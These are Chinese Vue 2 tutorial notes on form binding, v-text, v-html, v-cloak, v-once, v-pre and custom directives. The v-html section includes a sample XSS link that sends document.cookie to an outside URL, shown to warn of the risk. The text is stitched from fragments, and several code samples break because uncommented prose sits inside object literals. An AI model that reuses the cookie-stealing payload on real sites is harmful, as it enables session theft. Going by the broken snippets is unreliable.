} else if (this.sortType === 1) { return p2.age - p1.age; } else if (this.sortType === 2) { return p1.age - p2.age; } }) } } }); </script>
当直接给一个对象添加一个属性时,并不会影响页面,因为天际的属性没有set,get
可以使用Vue.set功能,添加属性,等价于vm.$set(vm._data.studdent,‘set’,‘女’);
注意:不能直接给vm._data添加任何属性
<body> <!-- 收集表单数据: 若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。 若:<input type="checkbox"/> 1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值) 2.配置input的value属性: (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值) (2)v-model的初始值是数组,那么收集的的就是value组成的数组 备注:v-model的三个修饰符: lazy:失去焦点再收集数据 number:输入字符串转为有效的数字 trim:输入首尾空格过滤 --> <!-- 准备好一个容器 --> <div id="demo"> <form @submit.prevent="subbmitMethod"> <!--组织submit的默认行为--> <label for="inputDemo">账号:</label> <!--trim去掉前后空格--> <input type="text" id="inputDemo" v-model.trim="account"> <br/> <label for="inputDemo2">密码:</label> <input type="text" id="inputDemo2" v-model="password"> <br/> <label for="inputDemo3">年龄:</label> <!--type:number限制输入字符,只能输入数字, v-model.number说明输入内容为数字,不是字符串,将字符串转为数字 --> <input type="number" id="inputDemo3" v-model.number="age"> <br/> 性别: <!--相同name,只能选择其中一个,value值需要指定--> 男<input type="radio" name="gender" v-model="sex" value="male"> 女<input type="radio" name="gender" v-model="sex" value="female"><br/> <!--hobby: '' vue默认收集checked, --> 爱好: <!--hobby: [] vue收集的才是多选内容 --> 抽烟<input type="checkbox" value="cigar" v-model="hobby"> 喝酒<input type="checkbox" value="beer" v-model="hobby"> 烫头<input type="checkbox" value="hothair" v-model="hobby"><br/> 所属校区: <select v-model="city"> <option value="">请选择校区</option> <option value="qingkua">清华大学</option> <option value="beijign">北京大学</option> <option value="zhongguo">中国人民大学</option> </select><br/> 其他信息: <!--懒加载:失去焦点才收集--> <textarea v-model.lazy="other"> </textarea><br/> <input type="checkbox" v-model="agree"> 阅读并接收<a href="#">《用户协议》</a> <br/> <button>提交</button> </form> </div> </body> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) var vm = new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 account: "尚硅谷1", password: "1232", age: 18, sex: 'female', hobby: [], city: '', other: '', agree: '' }, methods:{ subbmitMethod(){ //console.log(this.account); //console.log(this.password); //console.log(this.sex); //console.log(this.hobby); //console.log(this.city); //console.log(this.other); //console.log(this.agree); console.log(JSON.stringify(this._data)); } } }); </script>
v-text指令:
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<!-- 准备好一个容器 --> <div id="demo"> <div>你好,{{name}}</div> <div v-text="name">sad</div> </div> <!-- 我们学过的指令: v-bind : 单向绑定解析表达式, 可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组/对象/字符串 v-on : 绑定事件监听, 可简写为@ v-if : 条件渲染(动态控制节点是否存存在) v-else : 条件渲染(动态控制节点是否存存在) v-show : 条件渲染 (动态控制节点是否展示) v-text指令: 1.作用:向其所在的节点中渲染文本内容。 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。 --> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", age: 18 } }); </script> </body> </html>
<div id="demo"> <div>你好,{{name}}</div> <div v-html="name">sad</div> <div v-html="str2">sad</div> </div> <!-- v-html指令: 1.作用:向指定节点中渲染包含html结构的内容。 2.与插值语法的区别: (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。 (2).v-html可以识别html结构。 3.严重注意:v-html有安全性问题!!!! (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。 (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上! --> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "<h1>尚硅谷</h1>", age: 18, str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>', } }); </script>
通过document.cookie可以过去所有非http-only类型的cookie
配合css可以防止js加载过慢的问题
如果先加载html代码,在加载vue.js,但是vue.js有延时,那么会先出现未解析的内容
<head> <meta charset="UTF-8"> <title>初始Vue</title> <!--引入vue--> <!-- <script type="text/javascript" src="../vue-dev.js"></script>--> <style> [v-cloak]{ display: none; } </style> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <h1>Hello,尚硅谷</h1> <h1>{{name}}</h1> <h1 v-cloak>{{name}}</h1> </div> <script type="text/javascript" src="../vue-dev.js"></script> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", age: 18 } }); </script>
<!-- 准备好一个容器 --> <div id="demo"> <!-- v-once指令: 1.v-once所在节点在初次动态渲染后,就视为静态内容了。 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。 --> <h1>Hello,尚硅谷</h1> <h1 v-once>自增测试1:{{age}}</h1> <h1>自增测试2:{{age}}</h1> <h1 @click="age++">点我增1</h1> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", age: 18 } }); </script>
<!-- 准备好一个容器 --> <div id="demo"> <!-- v-once指令: 1.v-once所在节点在初次动态渲染后,就视为静态内容了。 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。 --> <h1 v-pre>Hello,尚硅谷</h1> <h1 v-pre>自增测试1:{{age}}</h1> <h1>自增测试2:{{age}}</h1> <h1 @click="age++">点我增1</h1> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", age: 18 } }); </script>
<body> <!-- 准备好一个容器 --> <!-- 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。 自定义指令总结: 一、定义语法: (1).局部指令: new Vue({ new Vue({ directives:{指令名:配置对象} 或 directives{指令名:回调函数} }) }) (2).全局指令: Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数) 二、配置对象中常用的3个回调: (1).bind:指令与元素成功绑定时调用。 (2).inserted:指令所在元素被插入页面时调用。 (3).update:指令所在模板结构被重新解析时调用。 三、备注: 1.指令定义时不加v-,但使用时要加v-; 2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。 --> <div id="demo"> <h2>{{name}}</h2> <h2>当前的n值是:<span v-text="n"></span> </h2> <h2>放大10倍后的n值是:<span v-big="n"></span> </h2> <button @click="n++">点我n+1</button> <hr/> <!-- <input v-fbind:value="n">--> <input v-fbind="n"> </div> <script> //创建Vue实例,传一个参数,(对象,叫做配置对象) new Vue({ el: '#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。 data: { data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。 name: "尚硅谷", n: 18 }, directives:{ //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。 big(element,binding){ // console.log('big',this) //注意此处的this是window // // console.log('big','df') // element.innerText = binding.value * 10 }, // fbind(element, binding) { // element.value=binding.value; // element.focus(); // } fbind:{ //指令与元素成功绑定时(一上来) bind(element,binding){ element.value = binding.value }, //指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, //指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } } } }); </script> </body>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。